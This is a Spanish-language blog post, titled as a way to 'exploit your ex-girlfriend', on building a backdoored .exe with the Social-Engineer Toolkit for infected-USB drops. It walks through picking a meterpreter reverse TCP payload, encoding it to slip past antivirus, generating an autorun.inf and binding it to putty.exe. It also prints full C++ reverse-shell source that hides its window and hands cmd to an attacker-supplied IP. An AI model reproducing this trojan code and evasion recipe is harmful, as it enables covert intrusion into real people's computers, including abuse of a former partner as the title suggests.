martes, 18 de septiembre de 2012

Creating .exe Backdoor and Exploit your ex- girfriend !!

En anteriores entradas se ha comentado aquí un vector de ataque "social" para penetrar la seguridad en nuestros clientes de pentest. Se habló de diseminar USB infectados por la empresa, puertas, cafeterías cercanas con el fin de que un usuario de la empresa lo encuentre, y pruebe a usarlo en la empresa.
En el caso de que no estén permitidos los usb, tiene poco sentido el ataque, pero hay muchas maneras de jugar con esto...
El propósito de este post es el de explicar la parte técnica, para crear el backdoor.

En primer lugar, arrancamos la suite SET. En Backtrack ubicada en /pentest/exploits/set . arrancamos ./set.


Ejecutamos la opción 1 de Social- Engineering attacks. A continuación usamos la opción 3, Infectious Media Generator


A continuación nos pregunta si queremos crear un fichero backdoor basado en una extensión de fichero con vulnerabilidades conocidas, o un fichero .exe puro y duro. Esta vez usamos la opción 2.
A continuación nos pide seleccionar un payload de los disponibles. Para esta prueba seleccionamos el payload 2, una conexión TCP_ meterpreter . Al fin y al cabo, con meterpreter podemos hacer perrerías muy interesantes.
A continuación nos pregunta por el tipo de codificación que queremos aplicarle al backdoor para evadir los antivirus/ids.
Cuando generamos un backdoor con set/metasploit, no estamos haciendo mas que generar un "netcat avanzado" para que al ejecutarlo, el cliente conecte con el nuestro sistema a un puerto pre-definido.
Un ejemplo de backdoor simple en c++, sin ocultación, podría ser:


 #include <winsock2.h>#include <stdio.h>#include <windows.h>#pragma comment(lib,"ws2_32")int main(int argc, char *argv[]){ShowWindow(GetForegroundWindow(),SW_HIDE);WSADATA wsaData;SOCKET hSocket;STARTUPINFO si;PROCESS_INFORMATION pi;struct sockaddr_in addr;memset(&addr,0,sizeof(addr));memset(&si,0,sizeof(si));WSAStartup(MAKEWORD(2,0),&wsaData);hSocket =WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);addr.sin_family = AF_INET;addr.sin_port = htons(PUERTO); //Atención a esta línea, aquíva el puerto de conexión NetCataddr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO NO-IP"); //Atención, aquíva tu IPconnect(hSocket,(structsockaddr*)&addr,sizeof(addr));si.cb = sizeof(si);si.dwFlags = STARTF_USESTDHANDLES;si.hStdInput = si.hStdOutput =si.hStdError = (void *)hSocket;CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);ExitProcess(0);}

Sin antivirus ni ids, esto funcionaría perfectamente como una conexion tcp, pero claro, igual que lo se yo, y tu, lo saben "los otros", los que hacen los antivirus. ¿Por qué? porque somos los mismos xD.

entonces es necesario codificar el ejecutable para evadir AV´s.
los formatos de codificación que nos permite SET, a fecha de hoy, son:

Para esta demo hemos usado la opción 16. Mi antivirus Microsoft Security Essentials no lo ha detectado. Luego hablaremos mas de todo esto.


No he probado con muchas mas antivirus esta codificación, pero VirusTotal me dice esto:




Una vez hemos codificado el fichero, nos genera un autorun.inf para meter en medios extraibles y un fichero .exe. Lo guarda en la carpeta /autorun/ de la instalación de SET.

Si ejecutamos el fichero exe, se produce la infección. Yo lo he probado en windows 7 pro. actualizado y con el antivirus de Microsoft, y se ejecuta perfectamente.


Como podemos ver en la imagen anterior, se migra el proceso program.exe a notepad.exe, para evitar que el usuario detecte algún programa raro y lo cierre.



Ejecutamos por ejemplo una shell, y listamos el contenido del disco, en mi caso el usb desde donde he ejecutado el fichero.



Como veis, es muy fácil crear un fichero exe backdoorizado ( viva el spanglish!!!).
Haciendo pruebas, a la hora de codificar y elegir nuestro payload, tenemos que probar varias cosas, y si sabemos el motor de antivirus que usa el cliente del pentest, hacernos con uno y probarlo antes de hacer el despliegue de medios infectados.
Yo por ejemplo, con el Security Essentials, usando el payload Reverse_tcp clásico ( la opción 1) y usando la codificacion 16, me lo bloqueaba. Usando el mismo payload que la prueba ( 2 meterpreter tcp) y la codificación 15 Multi Encoder ( hasta hace poco esta era indetectable) también me lo detectaba.
En ambos casos, he probado a usar el Joiner de windows que el amigo JCHIERRO explicó fabulosamente en su blog. con un fichero normal, como el caso de putty.exe ( el que tenia a mano) y ya no me lo detectó el AV.

Espero que os haya gustado ese sencillo manual de como hacer un troyano indetectable, a fecha de hoy, con SET. Buscando por internet medidas de evasión de AV hay muchos artículos, pero tener en cuenta lo que os he dicho antes, que los "mismos que hacen los exploits son los que los incorporan en las firmas de AV" y todo tiene un tiempo y caducidad.  Si es cierto que muchas empresas cuenta con AV desactualizados, y hay trucos que no dejan de funcionar nunca, pero siempre tenemos que prepararnos para lo peor.

Gracias por leerme.